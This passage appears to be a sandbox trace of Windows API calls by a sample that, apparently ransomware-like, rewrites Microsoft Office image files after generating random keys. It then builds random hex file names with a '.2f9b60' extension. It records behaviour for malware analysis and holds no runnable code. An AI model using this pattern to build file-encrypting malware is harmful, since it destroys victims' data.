hTemplateFile=0x0) returned 0x5ec [0156.766] GetFileSizeEx (in: hFile=0x5ec, lpFileSize=0x3744fe40 | out: lpFileSize=0x3744fe40*=663) returned 1 [0156.766] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x293, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.766] ReadFile (in: hFile=0x5ec, lpBuffer=0x3744fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3744fe08, lpOverlapped=0x0 | out: lpBuffer=0x3744fdc0*, lpNumberOfBytesRead=0x3744fe08*=0x4, lpOverlapped=0x0) returned 1 [0156.767] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f68b0 [0156.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc890 [0156.768] NtQuerySystemTime (in: CurrentTime=0x3744fd00 | out: CurrentTime=0x3744fd00*=132462177619042000) returned 0x0 [0156.768] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0xffc025c [0156.768] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x1fc61071 [0156.768] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x6727bdad [0156.768] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x7e4eb862 [0156.768] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x3f18036c [0156.768] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x49f8e7c1 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x4c49fd60 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x101a81ee [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x44e862d8 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x19287b73 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x42bf91f6 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x7c85a7df [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x7cda092c [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x387b68db [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x4f006997 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x29f06f46 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x71f8931a [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x74410644 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x68c57163 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x3880ecc7 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x46c2c4fa [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x300337f6 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x60fbf77d [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0xb8fe965 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x1af1216c [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x18ed4257 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0xb7431b4 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x1ff43b51 [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0xda4b23d [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x63ca7ffa [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x7e90ac3b [0156.769] RtlRandomEx (in: Seed=0x3744fcf0 | out: Seed=0x3744fcf0) returned 0x77b1538c [0156.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc920 [0156.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5f20 [0156.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc950 [0156.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5f20) returned 1 [0156.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc890) returned 1 [0156.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18e60 [0156.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5f20 [0156.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a716b0 [0156.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a752c0 [0156.781] ReadFile (in: hFile=0x5ec, lpBuffer=0x42a716b0, nNumberOfBytesToRead=0x297, lpNumberOfBytesRead=0x3744fcf0, lpOverlapped=0x0 | out: lpBuffer=0x42a716b0*, lpNumberOfBytesRead=0x3744fcf0*=0x297, lpOverlapped=0x0) returned 1 [0156.781] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.781] WriteFile (in: hFile=0x5ec, lpBuffer=0x42a752c0*, nNumberOfBytesToWrite=0x297, lpNumberOfBytesWritten=0x3744fcf4, lpOverlapped=0x0 | out: lpBuffer=0x42a752c0*, lpNumberOfBytesWritten=0x3744fcf4*=0x297, lpOverlapped=0x0) returned 1 [0166.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a58a0 [0166.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5840 [0166.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5840) returned 1 [0166.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a752c0) returned 1 [0166.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a716b0) returned 1 [0166.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5f20) returned 1 [0166.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18e60) returned 1 [0166.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5840 [0166.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18e60 [0166.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5f20 [0166.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0c80 [0166.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0c80) returned 1 [0166.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a0c80 [0166.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0c50 [0166.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a8030 [0166.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8030) returned 1 [0166.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5f20) returned 1 [0166.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18e60) returned 1 [0166.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab730 [0166.336] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.336] WriteFile (in: hFile=0x5ec, lpBuffer=0x423ab730*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3744fe10, lpOverlapped=0x0 | out: lpBuffer=0x423ab730*, lpNumberOfBytesWritten=0x3744fe10*=0x10a, lpOverlapped=0x0) returned 1 [0206.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0206.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaf60 [0206.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0206.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc3e0) returned 1 [0206.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0eae0 [0206.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0206.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbde0 [0206.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbde0) returned 1 [0206.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaf60) returned 1 [0206.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0206.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fb70 [0206.803] sprintf (in: _Dest=0x1cd9fb70, _Format="%c%c" | out: _Dest="25") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb72, _Format="%c%c" | out: _Dest="6e") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb74, _Format="%c%c" | out: _Dest="97") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb76, _Format="%c%c" | out: _Dest="5d") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb78, _Format="%c%c" | out: _Dest="b3") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb7a, _Format="%c%c" | out: _Dest="f2") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb7c, _Format="%c%c" | out: _Dest="32") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb7e, _Format="%c%c" | out: _Dest="52") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb80, _Format="%c%c" | out: _Dest="8d") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb82, _Format="%c%c" | out: _Dest="87") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb84, _Format="%c%c" | out: _Dest="c3") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb86, _Format="%c%c" | out: _Dest="53") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb88, _Format="%c%c" | out: _Dest="32") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb8a, _Format="%c%c" | out: _Dest="67") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb8c, _Format="%c%c" | out: _Dest="f8") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb8e, _Format="%c%c" | out: _Dest="f0") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb90, _Format="%c%c" | out: _Dest="1b") returned 2 [0206.803] sprintf (in: _Dest=0x1cd9fb92, _Format="%c%c" | out: _Dest="d5") returned 2 [0206.804] sprintf (in: _Dest=0x1cd9fb94, _Format="%c%c" | out: _Dest="c5") returned 2 [0206.804] sprintf (in: _Dest=0x1cd9fb96, _Format="%c%c" | out: _Dest="b3") returned 2 [0206.804] sprintf (in: _Dest=0x1cd9fb98, _Format="%c%c" | out: _Dest="2c") returned 2 [0206.804] sprintf (in: _Dest=0x1cd9fb9a, _Format="%c%c" | out: _Dest="5d") returned 2 [0206.804] sprintf (in: _Dest=0x1cd9fb9c, _Format="%c%c" | out: _Dest="bf") returned 2 [0206.804] sprintf (in: _Dest=0x1cd9fb9e, _Format="%c%c" | out: _Dest="8d") returned 2 [0206.804] RtlInitAnsiString (in: DestinationString=0x3744fe88, SourceString="256e975db3f232528d87c3533267f8f01bd5c5b32c5dbf8d" | out: DestinationString="256e975db3f232528d87c3533267f8f01bd5c5b32c5dbf8d") [0206.804] RtlAnsiStringToUnicodeString (in: DestinationString=0x3744fe58, SourceString="256e975db3f232528d87c3533267f8f01bd5c5b32c5dbf8d", AllocateDestinationString=1 | out: DestinationString="256e975db3f232528d87c3533267f8f01bd5c5b32c5dbf8d") returned 0x0 [0206.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fad60 [0206.805] wcscat (in: _Dest=0x4314ee00, _Source="256e975db3f2" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\256e975db3f2") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\256e975db3f2" [0206.805] wcscat (in: _Dest=0x4314ee00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\256e975db3f2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\256e975db3f2.2f9b60" [0206.805] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\256e975db3f2.2f9b60", NtPathName=0x3744fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\256e975db3f2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x1ce22c20 [0243.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22c20) returned 1 [0243.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48040) returned 1 [0243.632] NtQueryInformationFile (in: FileHandle=0x5ec, IoStatusBlock=0x3744fe98, FileInformation=0x3744fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3744fe98, FileInformation=0x3744fea8) returned 0x0 [0243.632] NtSetInformationFile (FileHandle=0x5ec, IoStatusBlock=0x3744fe98, FileInformation=0x3744fea8, Length=0x28, FileInformationClass=0x4) Thread: id = 2633 os_tid = 0x2190 [0156.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif")) returned 0x20 [0156.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF", dwFileAttributes=0x20) returned 1 [0156.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x95c [0156.788] GetFileSizeEx (in: hFile=0x95c, lpFileSize=0x38b0faa0 | out: lpFileSize=0x38b0faa0*=185) returned 1 [0156.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc890 [0156.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc980 [0156.789] NtQuerySystemTime (in: CurrentTime=0x38b0f960 | out: CurrentTime=0x38b0f960*=132462177619198000) returned 0x0 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x6047d549 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x44719952 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x2e03f8eb [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x468a1523 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x11d4e28 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x25cd4c97 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x7b065385 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x361d1e0a [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x56c6f477 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x5d4de330 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x5ae9f553 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x2d7356c [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x64d89621 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x3e9a3204 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x217309e4 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x29812fa1 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x7ae84c23 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x3f9662e9 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x7a74bffc [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x6ef2ba14 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x32eeea4c [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x6caaefa2 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x38ab5a9a [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x22cc2ef9 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x4f62704b [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x64948442 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x4540b853 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x7a420699 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x12bf4cd5 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x3f34a98b [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x34383f8 [0156.790] RtlRandomEx (in: Seed=0x38b0f950 | out: Seed=0x38b0f950) returned 0x3f3a0e8 [0156.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc9b0 [0156.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5fa0 [0156.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc9e0 [0156.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5fa0) returned 1 [0156.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc980) returned 1 [0156.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18eb0 [0156.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5fa0 [0156.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a78ed0 [0156.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a7cae0 [0156.802] ReadFile (in: hFile=0x95c, lpBuffer=0x42a78ed0, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x38b0f950, lpOverlapped=0x0 | out: lpBuffer=0x42a78ed0*, lpNumberOfBytesRead=0x38b0f950*=0xb9, lpOverlapped=0x0) returned 1 [0156.802] SetFilePointerEx (in: hFile=0x95c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.802] WriteFile (in: hFile=0x95c, lpBuffer=0x42a7cae0*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x38b0f954, lpOverlapped=0x0 | out: lpBuffer=0x42a7cae0*, lpNumberOfBytesWritten=0x38b0f954*=0xb9, lpOverlapped=0x0) returned 1 [0165.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c197a0 [0165.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19650 [0165.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19650) returned 1 [0165.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a7cae0) returned 1 [0165.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a78ed0) returned 1 [0165.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5fa0) returned 1 [0165.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18eb0) returned 1 [0165.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19650 [0165.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18eb0 [0165.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5fa0 [0165.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19680 [0165.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19680) returned 1 [0165.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19680 [0165.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19170 [0165.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c191a0 [0165.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c191a0) returned 1 [0165.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5fa0) returned 1 [0165.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18eb0) returned 1 [0165.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce130d0 [0165.925] SetFilePointerEx (in: hFile=0x95c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.925] WriteFile (in: hFile=0x95c, lpBuffer=0x1ce130d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38b0fa70, lpOverlapped=0x0 | out: lpBuffer=0x1ce130d0*, lpNumberOfBytesWritten=0x38b0fa70*=0x10a, lpOverlapped=0x0) returned 1 [0206.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0206.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0206.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a760 [0206.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a760) returned 1 [0206.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0eae0 [0206.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a760 [0206.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a730 [0206.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a730) returned 1 [0206.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0206.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0206.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0206.938] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="26") returned 2 [0206.938] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="02") returned 2 [0206.938] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="1d") returned 2 [0206.938] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="63") returned 2 [0206.938] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="3b") returned 2 [0206.938] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="35") returned 2 [0206.938] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="25") returned 2 [0206.938] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="2e") returned 2 [0206.938] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="4d") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="81") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="6f") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="8e") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="d5") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="7e") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="7d") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="2b") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="c8") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="56") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="d8") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="4f") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="e7") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="7c") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="05") returned 2 [0206.939] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="bd") returned 2 [0206.939] RtlInitAnsiString (in: DestinationString=0x38b0fae8, SourceString="26021d633b35252e4d816f8ed57e7d2bc856d84fe77c05bd" | out: DestinationString="26021d633b35252e4d816f8ed57e7d2bc856d84fe77c05bd") [0206.939] RtlAnsiStringToUnicodeString (in: DestinationString=0x38b0fab8, 